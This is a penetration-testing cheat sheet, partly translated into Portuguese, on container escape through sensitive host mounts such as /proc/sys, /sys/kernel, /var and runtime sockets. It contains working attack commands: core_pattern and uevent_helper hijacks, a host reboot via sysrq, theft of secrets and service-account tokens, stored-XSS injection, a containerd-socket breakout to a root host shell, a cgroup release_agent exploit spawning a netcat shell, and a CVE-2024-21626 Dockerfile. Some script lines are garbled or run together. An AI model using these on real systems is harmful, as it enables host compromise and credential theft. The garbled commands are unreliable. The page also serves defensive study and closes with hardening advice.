Sensitive Mounts

Reading time: 14 minutes

A exposição de /proc, /sys e /var sem o devido isolamento de namespace introduz riscos de segurança significativos, incluindo aumento da superfície de ataque e divulgação de informações. Esses diretórios contêm arquivos sensíveis que, se mal configurados ou acessados por um usuário não autorizado, podem levar à fuga de contêiner, modificação do host ou fornecer informações que auxiliem ataques adicionais. Por exemplo, montar incorretamente -v /proc:/host/proc pode contornar a proteção do AppArmor devido à sua natureza baseada em caminho, deixando /host/proc desprotegido.

Você pode encontrar mais detalhes sobre cada vulnerabilidade potencial em https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

Vulnerabilidades do procfs

/proc/sys

Este diretório permite o acesso para modificar variáveis do kernel, geralmente via sysctl(2), e contém várias subpastas de preocupação:

/proc/sys/kernel/core_pattern

• Descrito em core(5).

• Se você puder escrever dentro deste arquivo, é possível escrever um pipe | seguido pelo caminho para um programa ou script que será executado após uma falha ocorrer.

• Um atacante pode encontrar o caminho dentro do host para seu contêiner executando mount e escrever o caminho para um binário dentro do sistema de arquivos de seu contêiner. Em seguida, causar uma falha em um programa para fazer o kernel executar o binário fora do contêiner.

• Exemplo de Teste e Exploração:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler

Verifique este post para mais informações.

Exemplo de programa que trava:

int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}

/proc/sys/kernel/modprobe

• Detalhado em proc(5).
• Contém o caminho para o carregador de módulos do kernel, invocado para carregar módulos do kernel.
• Exemplo de Verificação de Acesso:

ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acesso ao modprobe

/proc/sys/vm/panic_on_oom

• Referenciado em proc(5).
• Uma flag global que controla se o kernel entra em pânico ou invoca o OOM killer quando uma condição de OOM ocorre.

/proc/sys/fs

• De acordo com proc(5), contém opções e informações sobre o sistema de arquivos.
• O acesso de gravação pode permitir vários ataques de negação de serviço contra o host.

/proc/sys/fs/binfmt_misc

• Permite registrar interpretadores para formatos binários não nativos com base em seu número mágico.
• Pode levar à escalada de privilégios ou acesso ao shell root se /proc/sys/fs/binfmt_misc/register for gravável.
• Exploit relevante e explicação:
• Poor man's rootkit via binfmt_misc
• Tutorial detalhado: Video link

Outros em /proc

/proc/config.gz

• Pode revelar a configuração do kernel se CONFIG_IKCONFIG_PROC estiver habilitado.
• Útil para atacantes identificarem vulnerabilidades no kernel em execução.

/proc/sysrq-trigger

• Permite invocar comandos Sysrq, potencialmente causando reinicializações imediatas do sistema ou outras ações críticas.
• Exemplo de Reinicialização do Host:

echo b > /proc/sysrq-trigger # Reinicializa o host

/proc/kmsg

• Expõe mensagens do buffer de anel do kernel.
• Pode ajudar em exploits do kernel, vazamentos de endereços e fornecer informações sensíveis do sistema.

/proc/kallsyms

• Lista símbolos exportados do kernel e seus endereços.
• Essencial para o desenvolvimento de exploits do kernel, especialmente para superar KASLR.
• As informações de endereço são restritas com kptr_restrict definido como 1 ou 2.
• Detalhes em proc(5).

/proc/[pid]/mem

• Interage com o dispositivo de memória do kernel /dev/mem.
• Historicamente vulnerável a ataques de escalada de privilégios.
• Mais em proc(5).

/proc/kcore

• Representa a memória física do sistema no formato ELF core.
• A leitura pode vazar conteúdos de memória do sistema host e de outros contêineres.
• O grande tamanho do arquivo pode levar a problemas de leitura ou falhas de software.
• Uso detalhado em Dumping /proc/kcore in 2019.

/proc/kmem

• Interface alternativa para /dev/kmem, representando a memória virtual do kernel.
• Permite leitura e gravação, portanto, modificação direta da memória do kernel.

/proc/mem

• Interface alternativa para /dev/mem, representando a memória física.
• Permite leitura e gravação, a modificação de toda a memória requer a resolução de endereços virtuais para físicos.

/proc/sched_debug

• Retorna informações de agendamento de processos, contornando as proteções do namespace PID.
• Expõe nomes de processos, IDs e identificadores de cgroup.

/proc/[pid]/mountinfo

• Fornece informações sobre pontos de montagem no namespace de montagem do processo.
• Expõe a localização do rootfs ou imagem do contêiner.

Vulnerabilidades em /sys

/sys/kernel/uevent_helper

• Usado para manipular uevents de dispositivos do kernel.
• Gravar em /sys/kernel/uevent_helper pode executar scripts arbitrários ao serem acionados uevent.
• Exemplo de Exploração:

#### Creates a payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

#### Finds host path from OverlayFS mount for container

host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

#### Sets uevent_helper to malicious helper

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

#### Triggers a uevent

echo change > /sys/class/mem/null/uevent

#### Reads the output

cat /output

/sys/class/thermal

• Controls temperature settings, potentially causing DoS attacks or physical damage.

/sys/kernel/vmcoreinfo

• Leaks kernel addresses, potentially compromising KASLR.

/sys/kernel/security

• Houses securityfs interface, allowing configuration of Linux Security Modules like AppArmor.
• Access might enable a container to disable its MAC system.

/sys/firmware/efi/vars and /sys/firmware/efi/efivars

• Exposes interfaces for interacting with EFI variables in NVRAM.
• Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

/sys/kernel/debug

• debugfs offers a "no rules" debugging interface to the kernel.
• History of security issues due to its unrestricted nature.

/var Vulnerabilities

The host's /var folder contains container runtime sockets and the containers' filesystems. If this folder is mounted inside a container, that container will get read-write access to other containers' file systems with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other containers and applications that run in them.

Kubernetes

If a container like this is deployed with Kubernetes:

apiVersion: v1  
kind: Pod  
metadata:  
  name: pod-mounts-var  
  labels:  
    app: pentest  
spec:  
  containers:  
    - name: pod-mounts-var-folder  
      image: alpine  
      volumeMounts:  
        - mountPath: /host-var  
          name: noderoot  
      command: [ "/bin/sh", "-c", "--" ]  
      args: [ "while true; do sleep 30; done;" ]  
  volumes:  
    - name: noderoot  
      hostPath:  
        path: /var

Inside the pod-mounts-var-folder container:

/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="pt"><head><script>alert("XSS Armazenado!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html

The XSS was achieved:

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted /var folder will be applied instantly.

You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

Access to cloud credentials

The container can read K8s serviceaccount tokens or AWS webidentity tokens which allows the container to gain unauthorized access to K8s or cloud:

/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token

Docker

The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually the other containers' filesystems are available under a different base path:

$ docker info | grep -i 'docker root\|storage driver'
Driver de Armazenamento: overlay2
Diretório Raiz do Docker: /var/lib/docker

So the filesystems are under /var/lib/docker/overlay2/:

$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
<SNIP>

Note

The actual paths may differ in different setups, which is why your best bet is to use the find command to locate the other containers' filesystems and SA / web identity tokens

Other Sensitive Host Sockets and Directories (2023-2025)

Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. Treat the following paths as highly sensitive and never expose them to untrusted workloads:

/run/containerd/containerd.sock     # soquete CRI do containerd  
/var/run/crio/crio.sock             # soquete de runtime CRI-O  
/run/podman/podman.sock             # API do Podman (com ou sem root)  
/run/buildkit/buildkitd.sock        # daemon do BuildKit (com root)  
/var/run/kubelet.sock               # API do Kubelet em nós do Kubernetes  
/run/firecracker-containerd.sock    # Kata / Firecracker

Attack example abusing a mounted containerd socket:

# dentro do contêiner (socket está montado em /host/run/containerd.sock)
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash   # shell root completo no host

A similar technique works with crictl, podman or the kubelet API once their respective sockets are exposed.

Writable cgroup v1 mounts are also dangerous. If /sys/fs/cgroup is bind-mounted rw and the host kernel is vulnerable to CVE-2022-0492, an attacker can set a malicious release_agent and execute arbitrary code in the initial namespace:

# assumindo que o contêiner tem CAP_SYS_ADMIN e um kernel vulnerável
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release

echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # requer CVE-2022-0492

echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs"  # aciona o evento empty-cgroup

When the last process leaves the cgroup, /tmp/pwn runs as root on the host. Patched kernels (>5.8 with commit 32a0db39f30d) validate the writer’s capabilities and block this abuse.

Mount-Related Escape CVEs (2023-2025)

• CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or docker exec could start a container whose working directory is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14).

FROM scratch
WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
CMD ["/bin/sh"]

• CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be copy-up into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted docker build on a vulnerable daemon.

• CVE-2024-1753 – Buildah / Podman bind-mount breakout during build Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to --mount=type=bind in a Containerfile. A crafted build stage could mount / from the host read-write inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.

• CVE-2024-40635 – containerd UID integer overflow Supplying a User value larger than 2147483647 in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.

Hardening Reminders (2025)

1. Bind-mount host paths read-only whenever possible and add nosuid,nodev,noexec mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27).
4. In Kubernetes, use securityContext.readOnlyRootFilesystem: true, the restricted PodSecurity profile and avoid hostPath volumes pointing to the paths listed above.

References

• runc CVE-2024-21626 advisory
• Unit 42 analysis of CVE-2022-0492
• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
• Understanding and Hardening Linux Containers
• Abusing Privileged and Unprivileged Linux Containers
• Buildah CVE-2024-1753 advisory
• containerd CVE-2024-40635 advisory